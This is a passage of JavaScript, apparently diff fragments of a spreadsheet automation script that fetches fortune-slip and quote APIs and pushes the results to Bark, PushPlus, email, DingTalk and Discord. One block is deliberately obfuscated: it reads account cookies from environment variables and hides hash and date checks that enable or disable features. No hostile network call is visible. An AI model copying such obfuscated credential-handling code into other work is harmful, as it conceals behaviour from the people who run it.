parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + const formatDivination = (res) => { + const { draw, annotate, explain } = res.data; + const [signText, signLevel] = draw.split(/[()]/).filter(Boolean); + + // 签级符号映射 + const signEmoji = { + '上签': '🟢', + '中签': '🟡', + '下签': '🔴' + }; + + return [ + `${signEmoji[signLevel] || '⚪'} ${signText} (${signLevel})`, + `📜 卦象:${annotate}`, + `📖 解签:${explain.replace(/ /g, '\n ')}`, + `🌄 典故:${res.data.source.split('。')[0]}...` + ].join('\n'); + }; + + // area = Range("D" + pos).Value2 + let url = "http://shanhe.kim/api/za/chouq.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = formatDivination(resp) + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://api.suyanw.cn/api/meiju" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var 